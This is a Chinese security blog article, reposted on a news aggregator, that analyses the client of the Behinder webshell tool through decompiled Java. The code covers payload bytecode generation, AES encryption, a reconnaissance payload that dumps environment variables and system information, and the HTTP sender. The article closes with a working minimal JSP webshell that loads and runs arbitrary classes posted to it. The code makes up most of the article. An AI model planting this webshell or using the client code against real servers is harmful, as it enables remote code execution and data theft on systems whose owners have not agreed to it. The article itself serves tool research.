Redian新闻
>
冰蝎(二)Java客户端实现

冰蝎(二)Java客户端实现

科技

前言

冰蝎解析(一)分析了Java服务端的具体实现,通过自定义类加载器ClassLoader.defineClass()实现将字节码加载至JVM中执行以达到执行任意Java代码的目的,那么接着上次的思路继续分析下冰蝎客户端的实现原理。

冰蝎Java客户端实现

利用jd-gui简单看下冰蝎的源码,其中net.rebeyond.behinder为其核心代码,其中core.ShellService.class为Webshell的操作类,负责调用其他类实现加解密、获取服务端基本信息、命令执行等;payload.java下class文件为Java服务端的具体实现,可以通过ASM框架可以修改其下class文件属性值生成可用payload字节数组;utils.Utils.class为通用操作的具体实现,如payload传输、接收返回结果并解析等。


如上,我们简单了解了冰蝎大致的源码结构。通过一个获取服务端基础信息的过程,我们再来看下冰蝎客户端的具体实现过程。

获取BasicInfo.class 字节数组

ShellService.class中getBasicInfo方法,调用Utils.getData方法获取payload.java下对应BasicInfo.class的字节数组;调用Utils.requestAndParse()发送payload并解析返回值。

 public String getBasicInfo(String whatever) throws Exception {
    String result = "";
    Map<String, String> params = new LinkedHashMap<>();
    params.put("whatever", whatever);
     //获取BasicInfo.class 字节数据,其中包含此payload的解密与生成过程
    byte[] data = Utils.getData(this.currentKey, this.encryptType, "BasicInfo", params, this.currentType);
    //发送payload并解析返回结果
     Map<String, Object> resultObj = Utils.requestAndParse(this.currentUrl, this.currentHeaders, data, this.beginIndex, this.endIndex);
    byte[] resData = (byte[])resultObj.get("data");
    try {
      //解密返回结果
        result = new String(Crypt.Decrypt(resData, this.currentKey, this.encryptType, this.currentType));
    } catch (Exception e) {
      throw new Exception("+ new String(resData, "UTF-8"));
    } 
    return result;
  }

跟进去到Utils.getData(),当传入的type参数为jsp时进入Params.getParamedClass(),获取对应className的字节数组,将其加密和编码处理并返回。


 public static byte[] getData(String key, int encryptType, String className, Map<String, String> params, String type, byte[] extraData) throws Exception {
    if (type.equals("jsp")) {
      byte[] bincls = Params.getParamedClass(className, params);
      if (extraData != null)
        bincls = CipherUtils.mergeByteArray(new byte[][] { bincls, extraData }); 
      byte[] encrypedBincls = Crypt.Encrypt(bincls, key);
      String basedEncryBincls = Base64.encode(encrypedBincls);
      return basedEncryBincls.getBytes();
    } 
    if (type.equals("php")) {
      byte[] bincls = Params.getParamedPhp(className, params);
      bincls = Base64.encode(bincls).getBytes();
      bincls = ("assert|eval(base64_decode('" + new String(bincls) + "'));").getBytes();
      if (extraData != null)
        bincls = CipherUtils.mergeByteArray(new byte[][] { bincls, extraData }); 
      byte[] encrypedBincls = Crypt.EncryptForPhp(bincls, key, encryptType);
      return Base64.encode(encrypedBincls).getBytes();
    } 
    if (type.equals("aspx")) {
      byte[] bincls = Params.getParamedAssembly(className, params);
      if (extraData != null)
        bincls = CipherUtils.mergeByteArray(new byte[][] { bincls, extraData }); 
      byte[] encrypedBincls = Crypt.EncryptForCSharp(bincls, key);
      return encrypedBincls;
    } 
    if (type.equals("asp")) {
      byte[] bincls = Params.getParamedAsp(className, params);
      if (extraData != null)
        bincls = CipherUtils.mergeByteArray(new byte[][] { bincls, extraData }); 
      byte[] encrypedBincls = Crypt.EncryptForAsp(bincls, key);
      return encrypedBincls;
    } 
    return null;
  }
  
继续进入Params.getParamedClass(className, params)方法,通过ASM框架将clsName对应的class文件转化成字节数组并返回。
public static byte[] getParamedClass(String clsName, final Map<String, String> params) throws Exception {
    String clsPath = String.format("net/rebeyond/behinder/payload/java/%s.class"new Object[] { clsName });
    ClassReader classReader = new ClassReader(String.format("net.rebeyond.behinder.payload.java.%s"new Object[] { clsName }));
    ClassWriter cw = new ClassWriter(1);
    classReader.accept((ClassVisitor)new ClassAdapter((ClassVisitor)cw) {
          public FieldVisitor visitField(int arg0, String filedName, String arg2, String arg3, Object arg4) {
            if (params.containsKey(filedName)) {
              String paramValue = (String)params.get(filedName);
              return super.visitField(arg0, filedName, arg2, arg3, paramValue);
            } 
            return super.visitField(arg0, filedName, arg2, arg3, arg4);
          }
        }0);
    byte[] result = cw.toByteArray();
    String oldClassName = String.format("net/rebeyond/behinder/payload/java/%s"new Object[] { clsName });
    if (!clsName.equals("LoadNativeLibrary")) {
      String newClassName = getRandomClassName(oldClassName);
      result = Utils.replaceBytes(result, Utils.mergeBytes(new byte[] { (byte)(oldClassName.length() + 2), 76 }, oldClassName.getBytes()), Utils.mergeBytes(new byte[] { (byte)(newClassName.length() + 2), 76 }, newClassName.getBytes()));
      result = Utils.replaceBytes(result, Utils.mergeBytes(new byte[] { (byte)oldClassName.length() }, oldClassName.getBytes()), Utils.mergeBytes(new byte[] { (byte)newClassName.length() }, newClassName.getBytes()));
    } 
    result[7] = 50;
    return result;
  }

BasicInfo.class的具体实现

以上完成了对应payload.java.BasicInfo.class的字节数组生成与加密过程,看下BasicInfo的具体实现。BaisicInfo.class中重写了equals方法,在此方法中完成了response、response、seesion对象的获取;服务端基本信息的获取、加密;结果的返回和解析。

public boolean equals(Object obj) {
    String result = "";
    try {
        //获取response、response、seesion对象
      fillContext(obj);
        //获取服务端基本信息
      StringBuilder basicInfo = new StringBuilder("<br/><font size=2 color=red>环境变量</font></br>");
      Map<String, String> env = System.getenv();
      for (String name : env.keySet())
        basicInfo.append(name + "=" + (String)env.get(name) + "<br/>"); 
      basicInfo.append("<br/><font size=2 color=red>JRE系统属性</font></br>");
      Properties props = System.getProperties();
      Set<Map.Entry<Object, Object>> entrySet = props.entrySet();
      for (Map.Entry<Object, Object> entry : entrySet)
        basicInfo.append((new StringBuilder()).append(entry.getKey()).append(" = ").append(entry.getValue()).append("<br/>").toString()); 
      String currentPath = (new File("")).getAbsolutePath();
      String driveList = "";
      File[] roots = File.listRoots();
      for (File f : roots)
        driveList = driveList + f.getPath() + ";"
      String osInfo = System.getProperty("os.name") + System.getProperty("os.version") + System.getProperty("os.arch");
      Map<String, String> entity = new HashMap<>();
      entity.put("basicInfo", basicInfo.toString());
      entity.put("currentPath", currentPath);
      entity.put("driveList", driveList);
      entity.put("osInfo", osInfo);
      entity.put("arch", System.getProperty("os.arch"));
        //将结果写入json字符串
      result = buildJson(entity, true);
    } catch (Exception exception) {
      try {
          
        Object so = this.Response.getClass().getMethod("getOutputStream"new Class[0]).invoke(this.Response, new Object[0]);
        Method write = so.getClass().getMethod("write"new Class[] { byte[].class });
        write.invoke(so, new Object[] { Encrypt(result.getBytes("UTF-8")) });
        so.getClass().getMethod("flush"new Class[0]).invoke(so, new Object[0]);
        so.getClass().getMethod("close"new Class[0]).invoke(so, new Object[0]);
      } catch (Exception exception1) {}
    } finally {
      try {
          //将结果写入response对象
        Object so = this.Response.getClass().getMethod("getOutputStream"new Class[0]).invoke(this.Response, new Object[0]);
        Method write = so.getClass().getMethod("write"new Class[] { byte[].class });
        write.invoke(so, new Object[] { Encrypt(result.getBytes("UTF-8")) });
        so.getClass().getMethod("flush"new Class[0]).invoke(so, new Object[0]);
        so.getClass().getMethod("close"new Class[0]).invoke(so, new Object[0]);
      } catch (Exception exception) {}
    } 
    return true;
  }


private void fillContext(Object obj) throws Exception {
    if (obj.getClass().getName().indexOf("PageContext") >= 0) {
      this.Request = obj.getClass().getMethod("getRequest"new Class[0]).invoke(obj, new Object[0]);
      this.Response = obj.getClass().getMethod("getResponse"new Class[0]).invoke(obj, new Object[0]);
      this.Session = obj.getClass().getMethod("getSession"new Class[0]).invoke(obj, new Object[0]);
    } else {
      Map<String, Object> objMap = (Map<String, Object>)obj;
      this.Session = objMap.get("session");
      this.Response = objMap.get("response");
      this.Request = objMap.get("request");
    } 
    this.Response.getClass().getMethod("setCharacterEncoding"new Class[] { String.class }).invoke(this.Response, new Object[] { "UTF-8" });
  }


//将服务端基本信息写入json字符串的具体实现
private String buildJson(Map<String, String> entity, boolean encode) throws Exception {
    StringBuilder sb = new StringBuilder();
    String version = System.getProperty("java.version");
    sb.append("{");
    for (String key : entity.keySet()) {
      sb.append("\"" + key + "\":\"");
      String value = ((String)entity.get(key)).toString();
      if (encode)
        if (version.compareTo("1.9") >= 0) {
          getClass();
          Class<?> Base64 = Class.forName("java.util.Base64");
          Object Encoder = Base64.getMethod("getEncoder"null).invoke(Base64, null);
          value = (String)Encoder.getClass().getMethod("encodeToString"new Class[] { byte[].class }).invoke(Encoder, new Object[] { value.getBytes("UTF-8") });
        } else {
          getClass();
          Class<?> Base64 = Class.forName("sun.misc.BASE64Encoder");
          Object Encoder = Base64.newInstance();
          value = (String)Encoder.getClass().getMethod("encode"new Class[] { byte[].class }).invoke(Encoder, new Object[] { value.getBytes("UTF-8") });
          value = value.replace("\n""").replace("\r""");
        }  
      sb.append(value);
      sb.append("\",");
    } 
    sb.setLength(sb.length() - 1);
    sb.append("}");
    return sb.toString();
  }

//AES加密结果
private byte[] Encrypt(byte[] bs) throws Exception {
    String key = this.Session.getClass().getMethod("getAttribute"new Class[] { String.class }).invoke(this.Session, new Object[] { "u" }).toString();
    byte[] raw = key.getBytes("utf-8");
    SecretKeySpec skeySpec = new SecretKeySpec(raw, "AES");
    Cipher cipher = Cipher.getInstance("AES/ECB/PKCS5Padding");
    cipher.init(1, skeySpec);
    byte[] encrypted = cipher.doFinal(bs);
    return encrypted;
  }

发送payload并解析返回结果

Map<String, Object> resultObj = Utils.requestAndParse(this.currentUrl, this.currentHeaders, data, this.beginIndex, this.endIndex);
byte[] resData = (byte[])resultObj.get("data");
try {
    //解密返回结果
    result = new String(Crypt.Decrypt(resData, this.currentKey, this.encryptType, this.currentType));
    } catch (Exception e) {
      throw new Exception("请求失败:"new String(resData, "UTF-8"));
    } 
return result;

Utils.requestAndParse()

 public static Map<String, Object> requestAndParse(String urlPath, Map<String, String> header, byte[] data, int beginIndex, int endIndex) throws Exception {
    Map<String, Object> resultObj = sendPostRequestBinary(urlPath, header, data);
    byte[] resData = (byte[])resultObj.get("data");
    if (beginIndex != 0 || endIndex != 0)
      if (resData.length - endIndex >= beginIndex)
        resData = Arrays.copyOfRange(resData, beginIndex, resData.length - endIndex);  
    resultObj.put("data", resData);
    return resultObj;
  }

Utils.sendPostRequestBinary():构造POST请求发送payload到服务端并获取response返回结果

public static Map<String, Object> sendPostRequestBinary(String urlPath, Map<String, String> header, byte[] data) throws Exception {
    HttpURLConnection conn;
    Map<String, Object> result = new HashMap<>();
    ByteArrayOutputStream bos = new ByteArrayOutputStream();
    URL url = new URL(urlPath);
    if (MainController.currentProxy.get("proxy") != null) {
      Proxy proxy = (Proxy)MainController.currentProxy.get("proxy");
      conn = (HttpURLConnection)url.openConnection(proxy);
    } else {
      conn = (HttpURLConnection)url.openConnection();
    } 
    conn.setConnectTimeout(15000);
    conn.setUseCaches(false);
    conn.setRequestMethod("POST");
    if (header != null) {
      Object[] keys = header.keySet().toArray();
      Arrays.sort(keys);
      for (Object key : keys)
        conn.setRequestProperty(key.toString(), header.get(key)); 
    } 
    conn.setDoOutput(true);
    conn.setDoInput(true);
    conn.setUseCaches(false);
    OutputStream outwritestream = conn.getOutputStream();
    outwritestream.write(data);
    outwritestream.flush();
    outwritestream.close();
    if (conn.getResponseCode() == 200) {
      String encoding = conn.getContentEncoding();
      if (encoding != null) {
        if (encoding != null && encoding.equals("gzip")) {
          GZIPInputStream gZIPInputStream = null;
          gZIPInputStream = new GZIPInputStream(conn.getInputStream());
          DataInputStream din = new DataInputStream(gZIPInputStream);
          byte[] buffer = new byte[1024];
          int length = 0;
          while ((length = din.read(buffer)) != -1)
            bos.write(buffer, 0, length); 
        } else {
          DataInputStream din = new DataInputStream(conn.getInputStream());
          byte[] buffer = new byte[1024];
          int length = 0;
          while ((length = din.read(buffer)) != -1)
            bos.write(buffer, 0, length); 
        } 
      } else {
        DataInputStream din = new DataInputStream(conn.getInputStream());
        byte[] buffer = new byte[1024];
        int length = 0;
        while ((length = din.read(buffer)) != -1)
          bos.write(buffer, 0, length); 
      } 
    } else {
      DataInputStream din = new DataInputStream(conn.getErrorStream());
      byte[] buffer = new byte[1024];
      int length = 0;
      while ((length = din.read(buffer)) != -1)
        bos.write(buffer, 0, length); 
      throw new Exception(new String(bos.toByteArray(), "GBK"));
    } 
    byte[] resData = bos.toByteArray();
    result.put("data", resData);
    Map<String, String> responseHeader = new HashMap<>();
    for (String key : conn.getHeaderFields().keySet())
      responseHeader.put(key, conn.getHeaderField(key)); 
    responseHeader.put("status", conn.getResponseCode() + "");
    result.put("header", responseHeader);
    return result;
  }

在payload.java下所有的payload均是通过这种模式使用的。

编写一个Demo

编写一个无AES加密的冰蝎Demo实现获取服务端基本信息和命令执行,只需上述代码中加密部分删除并撤销密钥交换过程即可。更改后的shell.jsp

<%@ page import="java.util.Base64" %>
<%
    class U extends ClassLoader{
        Class g(byte[] bs){
            return super.defineClass(bs,0,bs.length);
        }
    }
    if (request.getMethod().equals("POST")){
        byte[] bs = Base64.getDecoder().decode(request.getReader().readLine());
        new U().g(bs).newInstance().equals(pageContext);
    }
%>

加密与密钥

payload加密

冰蝎使用AES加密传输payload,加密逻辑在net/rebeyond/core/Crypt.java。


在Utils.getData方法被调用将payload AES加密。


密钥协商

冰蝎3采用了预共享密钥确定密钥,逻辑代码为net/rebeyond/core/ShellService.java doConnect方法。


1、取客户端输入password MD5前16位作为currentKey。

this.currentKey = Utils.getKey(this.currentPassword);


2、环境为jsp,生成随机字符串content通过echo方法发送给服务端,payload加密使用的key为1中生成的key,以服务端返回值与content是否相等来判定客户端key是否正确;


其中echo方法的实现原理与getBasicInfo实现原理相同:通过ASM机制动态编译payload/java/Echo.java获取字节数组发送给服务端.



3、当预共享密钥交换失败时沿用冰蝎2方式交换密钥和cookie。


构造一个get请求发起握手,形如:http://1.1.1.1/bx.jsp?pass=123


结果判断和key提取


获取key的测试Demo,后续所有操作都依赖此key的加密。

总结

站在巨人肩膀上看世界。致谢项目作者:

rebeyond-https://github.com/rebeyond/Behinder

E

N

D



Tide安全团队正式成立于2019年1月,是新潮信息旗下以互联网攻防技术研究为目标的安全团队,团队致力于分享高质量原创文章、开源安全工具、交流安全技术,研究方向覆盖网络攻防、系统安全、Web安全、移动终端、安全开发、物联网/工控安全/AI安全等多个领域。

团队作为“省级等保关键技术实验室”先后与哈工大、齐鲁银行、聊城大学、交通学院等多个高校名企建立联合技术实验室,近三年来在网络安全技术方面开展研发项目60余项,获得各类自主知识产权30余项,省市级科技项目立项20余项,研究成果应用于产品核心技术研究、国家重点科技项目攻关、专业安全服务等。对安全感兴趣的小伙伴可以加入或关注我们。


微信扫码关注该文公众号作者

戳这里提交新闻线索和高质量文章给我们。
相关阅读
互联网大厂|腾讯 客户端开放实习生正在招聘中!Web与客户端建设MySQL客户端的进阶操作OPERA理解杨振宁(二)千里共同途 | 袁岚峰乳腺癌妈妈Tracy的领养故事(二):忐忑忙碌迎接Luke的日子平安疫情防护免费智能咨询平台登陆新华社客户端 全平台咨询量突破千万学习二十大丨担当时代大任 共赴创新中国 留学人员热议党的二十大报告(二)二十大报告写作剖析(二):开辟马克思主义中国化时代化新境界将帅摇篮地—5所顶尖私立军校推荐(二)I2A、MBMF、MVE、DMVE…你都掌握了吗?一文总结强化学习必备经典模型(二)搞不懂这些,就敢参加四大秋招之战?(二)家徒四壁通俗说“民主”(二)中西制度的比较渡十娘|十万弃婴的心灵之歌:木棉花开(二)全球最大IPO TOP15(二)九月九日引起的众生相令人心动的AI offer(二):从教授到实习生,鹏城实验室&北京大学深圳研究生院、智源研究院、IDEA、MSRA等机构等你来热议党的二十大报告,这些企业家心潮澎湃!(二)也不是太难!纯前端实现「羊了个羊」小游戏万圣节将至!北美超市这几种南瓜的挑选和吃法大有讲究,一种种教你(二)视频 | 彭博信用风险专栏(二):预测违约风险概率,实施积极管理策略第五届中国金融年度品牌案例大赛年度人气品牌案例投票 | 商业银行(二)【广发策略】信息安全篇:信创产业链国产化进阶—“国家安全”系列(二)TGANv2、VideoGPT、DVG…你都掌握了吗?一文总结视频生成必备经典模型(二)最佳 Linux 远程桌面客户端 | Linux 中国工业和信息化部系统党员干部热议党的二十大报告(二)德国怎么又输了?弱队如何战胜强队?2022卡塔尔世界杯(二)WGAN、CSGAN、ADC-GAN…你都掌握了吗?一文总结图像生成必备经典模型(二)替换OpenFeign,Spring 新版本自带的 HTTP 客户端工具来了!【广发策略】行业比较新范式:“景气预期多空组合”——“景气预期”行业比较框架系列(二)小农思维与集中力量办大事精心打造、跌宕起伏的骗局冰蝎(一)Java Webshell解析CIKM 2022最佳论文:快手提出移动端实时短视频推荐系统
logo
联系我们隐私协议©2024 redian.news
Redian新闻
Redian.news刊载任何文章,不代表同意其说法或描述,仅为提供更多信息,也不构成任何建议。文章信息的合法性及真实性由其作者负责,与Redian.news及其运营公司无关。欢迎投稿,如发现稿件侵权,或作者不愿在本网发表文章,请版权拥有者通知本网处理。